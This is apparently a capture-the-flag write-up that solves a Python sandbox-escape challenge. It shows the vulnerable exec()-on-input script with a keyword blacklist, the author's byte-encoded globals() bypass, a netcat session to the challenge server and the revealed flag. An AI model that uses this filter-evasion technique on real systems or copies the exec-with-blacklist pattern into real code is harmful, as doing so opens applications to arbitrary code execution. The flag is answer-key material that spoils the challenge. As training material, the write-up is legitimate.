Challenge: Locked Away

Challenge Description :

A test! Getting onto the team is one thing, but you must prove your skills to be chosen to represent the best of the best. They have given you the classic - a restricted environment, devoid of functionality, and it is up to you to see what you can do. Can you break open the chest? Do you have what it takes to bring humanity from the brink?

Context :

- Analyze this python script and try to exploit it to get the flag to print. When you connect to the server you can do much due to the limitation, as defined in the script that is given to you.

Flag :

- First Install the files and extract them, next go through the code and try to find any vulnerabilities / bypasses you can think of.

```python
banner = r'''
.____                  __              .___    _____
|    |    ____   ____ |  | __ ____   __| _/   /  _  \__  _  _______  ___.__.
|    |   /  _ \_/ ___\|  |/ // __ \ / __ |   /  /_\  \ \/ \/ /\__  \<   |  |
|    |__(  <_> )  \___|    <\  ___// /_/ |  /    |    \     /  / __ \\___  |
|_______ \____/ \___  >__|_ \\___  >____ |  \____|__  /\/\_/  (____  / ____|
        \/          \/     \/    \/     \/          \/             \/\/
'''


def open_chest():
    with open('flag.txt', 'r') as f:
        print(f.read())


blacklist = [
    'import', 'os', 'sys', 'breakpoint',
    'flag', 'txt', 'read', 'eval', 'exec',
    'dir', 'print', 'subprocess', '[', ']',
    'echo', 'cat', '>', '<', '"', '\'', 'open'
]

print(banner)

while True:
    command = input('The chest lies waiting... ')

    if any(b in command for b in blacklist):
        print('Invalid command!')
        continue

    try:
        exec(command)
    except Exception:
        print('You have been locked away...')
        exit(1337)
```

- Connecting to the server only gave me the banner and some errors that killed my session after a wrong / empty input.

- The only thing i could find about abusing this would be to use a global function called [globals] that will still allow us to return a directory with access to all the functions and variables within the script.
- We will now need to figure out how we can set this up without triggering the blacklist on the script, so no strings with double or single quotes.
- I went for the option to convert the function name [open_chest] into bytes and then run it with the [globals] functions.
- This way basically gives us access to trigger any function within the script just by converting the function name to bytes with global running the bytes that only get decoded at execution.
- This is the POC for the flag :

```
birdo@DESKTOP-0ENQDDA:~$ python3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> list(b'open_chest')
[111, 112, 101, 110, 95, 99, 104, 101, 115, 116]
>>>
```

- Getting the bytes that correspond to the function I need to run. I will also be running it like this :

[globals().get(bytes((111, 112, 101, 110, 95, 99, 104, 101, 115, 116)).decode())()]

- Executing this on the server gave me the flag due to the [open_chest] function being triggered and printing it out.

```
birdo@DESKTOP-0ENQDDA:~$ nc 94.237.57.183 37959

The chest lies waiting... globals().get(bytes((111, 112, 101, 110, 95, 99, 104, 101, 115, 116)).decode())()
HTB{bL4cKl1sT?_bUt_tH4t'5_t0o_3asY}
The chest lies waiting...
```

- The Flag behind the function is : HTB{bL4cKl1sT?_bUt_tH4t'5_t0o_3asY}